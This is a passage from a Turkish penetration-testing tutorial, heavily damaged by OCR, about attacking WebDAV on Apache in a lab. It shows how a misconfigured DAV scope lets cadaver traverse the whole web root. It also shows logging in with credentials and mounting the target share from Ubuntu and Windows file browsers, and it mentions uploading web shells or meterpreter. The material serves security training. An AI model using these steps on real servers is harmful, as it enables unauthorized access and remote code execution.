</Directory>

Eger bu yapilandirma ayarlar1 yerine su yapilirsa

# [1k satira asagidaki ifade girilir.
DavLockDB /var/'www/DavLock

# Ardindan <VirtualHost> tag'lar1 arasina ise asagidaki ifadeler girilir.
Alias /webdav /var/www/webdav
<Directory /var/www>
DAV On
</Directory>
bu yanlis yapilandirmadan dolayi iist dizine cikilabilecektir.

Ubuntu 14.04 LTS Terminal:

> sudo service apache?2 restart

Kali Linux 2018 Terminal:

dav:/webdav/ > cd ..
dav:/ > Is

Listing collection */": succeeded.

Coll: AJAX 0 Mar 30 2015

Coll: CSS 0 Jun 12 2015

Coll: DOM XSS Uygulamasi 0 Feb 1317:25
Coll: HTML 0 Jan 11 2014

Coll: JAVASCRIPT 0 Jun 29 2015
Coll: JOIN_SQL 0 Jan 29 2015
Coll: JQUERY 0 Jun 14 2015

Coll: PHP 0 Jun 19 2015



Coll: Phishing by Navigating Browser Tabs Uygulamasi 0 Feb 1317:25
Coll: Second Order Sql Injection Uygulamasi 0 Feb 1317:25

Coll: Web Services Dersi 0 Dec 5 2015

Coll: WebGoat-5.2 0 Jul 12 2008

Coll: WebGoat-5.4 0 Apr27 2012

Coll: XML 0 Mar 30 2015

Coll: dropdownmenu 0 Nov 24 2014

Coll: drupdownmenu2 0 Nov 24 2014

Coll: dvwa 0 Oct 5 2015

Coll: dvws 0 Feb 26 2016

Coll: hollanda 0 Aug 9 2015

Coll: html 0 Feb 14 15:18

Coll: includekarabuk 0 Jun 30 2016

Coll: includekarabuk Inw 0 Dec 16 2016

Coll: isimtescil Eposta Kodlar1 0 Sep 5 2014

Coll: login_page 0 Nov 30 2014

Coll: mutillidae 0 Jul 22 2015

Coll: referans 0 Jan 17 2014

Coll: saldirganinSitesi 0 Jan 22 2016

Coll: slider 0 May 8 2016

Coll: slider2 0 May 8 2016

Coll: specialTopicsDersi 0 May 20 2016

Coll: syntaxhighlighter_3.0.83 0 Feb 14 2015

Coll: test 0 Nov 23 2015

Coll: tubitak_fake_sayfa 0 Oct 313:27

Coll: tuzlucayir 0 Sep 9 2013

Coll: uploadProcess 0 Jul 23 2015

Coll: webdav 0 Mar 8 15:58

Coll: zendframework 0 Dec 7 2014
*DavLock 12288 Mar 7 13:01
*aramabutonu.html 1217 Apr 20 2014
*aramabutonu2.html 1784 Jul 17 2014
*deneme.html 364 May 18 2015
*file_processing.txt 6 Jan 23 2014
*guzelBirTabloYapisi.html 1059 Aug 22 2014
*info.php 23 Sep 3 2014
*isiklikutu.html 260 Sep 12 2014
*iyiBirMenu.html 981 Aug?22 2014
*jyiBirMenu2.html 2145 Sep 21 2014
*menuDenemesi.html 2092 Aug 10 2014
*rename2.txt 0 Jan 27 2014
*s1firdan acilir menii denemesi.html 1657 Mar 26 2015
*suleyman.html 7569 May 16 2017
*test.php 0 Jan 23 2014
*turkce.html 9 Jan 27 2014
*wget.php 372 May 23 2016

dav:/>

Yapilandirma ayar1 geregi WebDav modiilii (servisi) kapsami /var/www/webdav dizini ve alt
dizinleri yerine /var/www dizini ve alt dizinleri yapilmistir. Bu nedenle hedef web sitesi elimize
gecmistir.



Uyan
Hedef WebDav servisi eger digest authentication kullaniyorsa cadaver istemcisi ile hedef WebDav
servisine baglanmaya calistigimizda kullanic1 ad1 ve sifre sorulacaktir.

> cadaver http://172.16.3.72/webdav

Authentication required for webdav on server 172.16.3.72

Username: alex

Password: // alex girilir.
dav:/web/dav/ >

Kullanic1 adi ve sifreyi elle manuel girerek hedef WebDav servisine yukaridaki gibi erigebiliriz.

Ekstra 2 ((( File Browser ile WebDav Servisine Erigim ))

[+] Birebir denenmistir ve basariyla Ubuntu 14.04 LTS makinasinda ve Windows 7 Home Premium
sanal makinasinda uygulanmistir.

Hedef Apache sunucudaki WebDav dizinine erigim i¢in igletim sistemlerinin Dosya

Browser'larindan faydalanabiliriz. Ornegin Ubuntu'dan hedef apache sunucusundaki WebDav
dizisinine erisim i¢in Ubuntu Dosya Browser'inin Connect to Server secenegini kullanalim.

How To Configure WebDAV Access with Apache on Ubuntu 14.04 |

G webdav servicerec Web UygulamaSiz x ¥ i

@ DigitalOcean, LLC [US] | https://www.digitaloce
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Connect to a network server address enesh

Connect to Server secenegine tiklanildiginda gelen ekrana WebDAYV servisine sahip hedef web

Examples

rockyou.txt

Desktop Documents
hplip-3.17.7 hydra-8.1
Music netstress-3.0.7
=8| e
Templates Videos
<!DOE
@) i |
deneme.txt egitim-sge.htm

“Downloads” selected (containing 8 items)

sunucusunun ip'si ve webdav servisi kok dizini agsagidaki gibi dav:// ile beraber girilir.
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L
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<!D0E
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<head

egitim-sge.htm

Connect

T —

Examples

rockyou.txt

“Downloads" selected (containing 8 items)

Connect butonuna basilmasiyla hedef WebDav dizini yerel sistemimize mount edilir.




Places

© Recent 2 2 :

A Home DavTestDir_ deneme deneme.php

KLWMPQOxX
[ Desktop Q

[ Documents
+ Downloads
dd Music
&1 Pictures
H videos
{@ Trash
Devices
@170GBVolume 4 Hedef WebDav Dizin icerigi
[® 524 MB Volume
@ computer

Network

H Browse Network
B 172.16.3.72 a é Hedef Web Sunucusu IP'si

B connect to Server

Bu ekranda yapilan her dosya olusturma, silme, vs.. islemler hedef web sunucusunun (apache'nin)
WebDav dizininde de meydana gelir.
Uyan

Eger hedef web sunucusunun WebDav servisi Digest authentication kullaniyorsa Connect to Server
secenegi ile hedef WebDav servisine baglanacagimiz zaman kullanici adi ve sifre sorulacaktir.

Places =
© Recent a
™ Home Documents
ﬁDesktop Conneck to Server
[) Documents Server Address ;

% Downloads [ dav://172.16.3.72/webday] a hydra-8.1
dd Music =

[ Pictures j

H videos LIRS netstress-3.0.7
{@ Trash Network network:///

Devices webdav dav://172.16.3.72/webdav i
170GBVolume & videos
524 MB Volume <inue
Computer |ghit=t

Network egitim-sge.htm

T
& Browse Network Browse Cancel Connect

B connect to Server

-| L\:ﬂiﬁ

Examples rockyou.txt



Kullanic1 adi ve sifre bilgilerini girerek hedef sistemdeki webdav dizini yerel sistemimize mount

edebiliriz.

Ornegin Windows sistemlerde hedef apache sunucusundaki WebDav dizinine erisim i¢cin Dosya
Browser' agilir ve sol siitundaki Network'e sag tiklaylp Map Network Drive... secenegine tiklanir.

Places

© Recent - o i B

M Home arachni-1.5.1-0.5.12 crunch-3.4 Desktop Documents
[ Desktop = = —
Biomcirnents o -
el - - Enter password for webdav 4 ycrae:d
dd Music b ) -
A1 Pictures "~ Username | alex i
H videos jit ( netstress-3.0.7
yoii 3 Password | sesd
W) Trash
Devices _, d d " j
Forget password immediately .
170 GBVolume & i Videos
© Remember password until you logout
524 MB Volume - <100¢
Remember forever
Computer S
Virk xk egitim-sge.htm
Network Cancel Connect o o
¥ Browse Network
B connect to Server i
a 12345
12345
enesh
Examples rockyou.txt

webdav

Places

© Recent J j .

A Home DavTestDir_ deneme deneme.php
i Deskiop XLWMPQOx
[ Documents
< Downloads
dd Music
[A Pictures
i videos
{@ Trash
Devices
B 170cBVolume & Hedef WebDav Dizin icerigi
[® 524 MB Volume
[ computer

Network

@4 Browse Network
& 172.16.3.72 ~ < Hedef Web Sunucusu IP'si

E Connect to Server




4.7 Favorites
Bl Desktop
4 Downloads
"5l Recent places

4 M This PC

> | pg Desktop

> | Documents
4 Downloads
o Music
= Pictures
g Videos
iy Local Disk (C:)

[+
[
[
[

b 'ih! Metwork

| 4% This PC | Lh Musi

b g Desktop
b | Documents

> 4@ Downloads
. Flopy
b Music

b & Pictures
b @ Videos
> iy Local Disk (C:)

4 Devices anc

i) ]

Expand

Pin to Start

Open in new window

Map netwark drive...
Disconnect network drive..,

Delete

Properties




Map Network drive... secenegine tiklanildiginda asagidaki ekran gelir.

|! |= e | ==

i@\\:}v!_‘!\ » lCUmpuTcr 3 - |4f| Search Computer D
| Organize = . E 0 ﬂ
’\.J €2 Map Network Drive

i Favorites

B Desked )

B Downl What network folder would you like to map?

I Recend _ y y

Specify the drive letter for the connection and the folder that you want to connect to:

A Libranies .

: Dirive: I bl

& Docur] :

J\ Music Folder: http:/f172.16.3.72/webdav - Browse... |
g Fisemgle Vit \
E Videos [ Reconnect at logon

[#] Connect using different credentials

ﬁ Homegr
Connect to a Web site that 4 to store your documents amd pictures.
1% Comput
€ Network]
. | HEFESE-PC Workgroup: WORKGROUP Memorny: 162 GB
. Frocessor: Intel{R) Core[TM) if CP..

= P S 3:54 PM
W = Iﬁﬂ i = WO ons

Ekrandaki folder metin kutusuna http://hedef-web-sunucu-ip/webdavDizini seklinde url girilir ve
Connect using different credentials tick'lenir. Ardindan Finish butonuna basilir. Boylece WebDav
dizinine erigim saglanir.

_ 5 e ow =-
IO@ (S8 » Computer » webdav (\172163.72\DavWWWRoot) (Z) » = [42 |[ Seorch webdov (1172163 720Davi..

Organize « New folder = O @

S Favorites MName Date modified Type Size

B Desktop J. DavTestDir XLWMPQOx
& Downloads | deneme

Fille folder
File folder

=\ Recent Places deneme.php PHP File 1KE

| deneme Text Document 0 KB

A Libraries
_3} Documents

J‘ Music
| Pictures
E Videos

Hedef Web
Sunucusunun WebDav
% Computer Dizin icerigi

% Homegroup

S Network

4 items

ﬁ‘a | .1 H| @ | i ‘ L T )




Boylece ekranda yapilacak her islem hedef web sunucusundaki WebDav dizininde de
gerceklesecektir.

Ekstra Not
Hedef web sunucusuna davtest ya da cadaver ile WebDav servisi iizerinden web shell

upload'ladigimiz gibi 6rnegin meterpreter da upload'layabiliriz ve bdylece local port dinlemesi
yaparak meterpreter session'l elde edebiliriz.

Kaynaklar
https://tools.kali.org/web-applications/davtest

http://www.wiki-zero.com/index.php?
g=aHROcHM6Ly91bi53aWtpcGVkaWEub3JnL3dpa2kvV2ViREFW

https://www.digitalocean.com/community/tutorials/how-to-configure-webdav-access-with-apache-
on-ubuntu-14-04#testing

https://www.apachelounge.com/viewtopic.php?p=28631
https://devops.profitbricks.com/tutorials/how-to-set-up-webdav-with-apache-on-centos-7/

https://charlesreid1.com/wiki/Metasploitable/Apache/DAV



